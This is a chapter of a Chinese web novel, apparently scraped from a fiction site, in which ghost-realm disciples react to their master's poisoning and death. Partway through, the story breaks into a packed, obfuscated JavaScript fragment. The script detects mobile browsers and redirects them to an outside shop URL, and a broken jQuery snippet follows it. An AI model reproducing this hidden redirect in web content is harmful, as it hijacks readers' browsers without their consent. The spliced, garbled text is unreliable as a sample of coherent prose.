地牢内,凌辞月被五花大绑在刑架上。
“你们放我下来!喂!你们要是敢动我,我哥肯定饶不了你们!”凌辞月双手双脚都被绑住,见鬼差在刑具前乱晃,他急得大喊。
“聒噪。再吵真动刑了。”凌清秋带着惯有的寒凉压迫感从楼梯上缓缓走下来,仅仅是一句话便瞬间压灭了地牢里所有的细碎声响。
听到凌清秋的声音,凌辞月像是老鼠见了猫般瞬间安静下来,他撅起嘴将头扭到另一边去,一个眼神都不想给凌清秋。
凌辞月独自生着闷气。他都已经说了师尊不是他派鬼杀的,凌清秋这个坏蛋竟然一点都不肯信他,还当着这么多鬼的面把他关到此处,拿刑具刻意吓唬他。
“都退下。”凌清秋朝鬼差抬手示意。
鬼差尽数退去,沉重牢门落锁,偌大地牢死寂一片,只余他们二鬼。
凌清秋抬眸,看向刑架上绷着小脸、浑身倔强的少年。看他这模样,倒有几分像从前的自己,让他莫名生出几分怜惜。
“在这里呆得还习惯吗?”凌清秋看着这个平时一刻也不肯消停的小糯米团子此刻被五花大绑着动弹不得,他不由得觉得有些好笑。
凌辞月依旧撅着嘴没有看他,也没有理他。
气性还是和小时候一样大。凌清秋看着他气鼓鼓的模样,终是没忍住笑出了声。
“你笑什么笑!”凌辞月终于肯和他讲话了。
“好了,我信你。只是外面现在并不安全,你且安心待在此处。”凌清秋有些生疏地揉了揉他的脑袋。
可凌辞月这次根本不吃他这一套。
炸了毛的小猫还真是难哄。
他堂堂一个鬼帝五徒,哪有这么好哄的,倘若这么三言两语就能被哄好,那他岂不是很没面子。这个凌清秋惯会花言巧语,自己从小到大都不知道被他骗了多少次了。
“我不骗你。”凌辞月从十岁起就跟在凌清秋身边,凌辞月不过一个略带质疑的眼神,凌清秋便知他心中所想
“那我就勉为其难地再信你一次。”凌辞月仍旧撅着嘴,不情不愿地说。
离开地牢,凌清秋的神情立马严肃起来。稳住凌辞月只是第一步,好戏才刚刚开始。
永宁宫内,凌媚颜正端坐在桌前翻看着凌帝日常服药的记录。
“鬼医,你确定我师尊他在中箭之前就中毒已深,命不久矣了吗?”凌媚颜一时有些难以接受,她想不明白在这样护卫森严的鬼域王宫,有什么鬼能破除层层阻碍给师尊下毒,正如她至今也没想明白当年在黑山刺杀师尊的那支队伍究竟是哪来的。
“是的,大殿下,”鬼医极为笃定地回答道,“从五年前凌帝在黑山遭遇天同卫的刺杀后,他便已经中毒了。中毒之后,属下也曾遍寻各种法子医治,却始终毫无成效。”
这样一来一切都说得通了。为什么师尊会突然把此次万鬼试炼交给凌清秋?为什么堂堂鬼帝连背后有鬼挽弓都没察觉?又在箭朝他射来之时毫无反应?
原来他早就中毒已深。
“师尊新丧,新任鬼帝悬而未决,凌清秋又是如此一副隔岸观火的模样,这鬼域怕是要大乱一场,”凌媚颜眉间微皱,思索片刻道,“传本殿令,严守鬼域各个出入口结界,藏书阁、地宫等地也需派兵严加把守,断不能让不轨之徒乘火打劫。”
“只是殿下……三殿下今早刚在万鬼试炼上许诺众鬼,十日之内可在鬼域任意地界寻找传承令牌……”凌媚颜的护卫亦尘有些犹豫地皱了皱眉。
“他这个疯子。”凌媚颜咬牙切齿道。
凌帝离世,临终前选出来的鬼帝传承者又撂挑子不干了,还在万鬼试炼上公然承诺这十日内众鬼都可在任何地方寻找令牌,这不是摆明了要给所有想要犯上作乱又苦于找不到借口的鬼一个合理的理由吗?
他是想借着鬼域大乱,扫除一切障碍,让所有藏在黑暗之中的人和鬼都暴露于阳光之下。
可是,鬼域无主,若是众鬼一齐反叛,或是有德高望重的鬼带头夺权,亦或是有鬼趁乱逃入人界,如此桩桩件件,无论是哪种后果,都不是凌清秋凭一己之力就可以承担的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690373|204384||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“他现在在哪里?”凌媚颜问道。
“他刚刚去地牢和凌辞月说了几句话,屏退了鬼差,我们也不知道他具体说了什么。”
亦尘停顿了一下,有些犹豫要不要继续说下去,但她还是觉得有必要让殿下知道三殿下此刻的去向。
“他现在……在弑仙楼……”语气中带着几分颤抖,她觉得自己殿下听到肯定会生气的。
但凌媚颜却异常平静,她冷笑一声。这么多年来,她都有些适应凌清秋的出其不意了。
弑仙楼内,歌舞升平。
作为鬼域第二高的建筑,凭窗而卧,便可尽览方圆十里景致。
“四殿下,您怎么来了?哟,这怎么还带了一群鬼,都是来喝花酒吗?”远远瞧见凌霄云身着一袭鹅黄翻领袍,腰带上挂着一把小小的流光琴吊坠,身后浩浩荡荡带着一群鬼朝弑仙楼走来,老鸨赶忙迎上去。
“我三师兄能来,我便不能来吗?”凌霄云一抬头,就看见了楼上那双阴鸷而深邃的双眸。
凌清秋慵懒地倚在二楼主位的金丝楠木软塌上,俯视着楼下的一切。
凌霄云掏出一袋金子递给老鸨道:“给他们安排座位。”
老鸨拿了钱瞬间眉开眼笑,喊了几个姑娘过来陪他们,凌霄云则径直朝楼上走去。
“三师兄,你这是心情不好吗?今日怎么来这儿了?”凌霄云心思最是细腻,对他人情绪的感知尤为敏锐。她眉眼中带着几分担忧,给凌清秋添了点酒,又给自己也倒了杯。
“师尊离世,这鬼域于本殿而言,也无甚可留恋的了,”凌清秋随手拿起酒杯,一仰头,将杯中酒一饮而尽,“本殿前些日子在人界遇到个有趣的姑娘。即便是你,也不一定能看透她。”
“为什么?”凌霄云坐在他对面细细地捕捉着他微小的神情变化。
这种有些沦陷的情绪,她从未在凌清秋身上看到过。她敏锐地感觉到,凌清秋在提到那位人界姑娘时,心里是带着笑的。
“因为她是一个没有自我的人,没有情感,却处处是软肋。”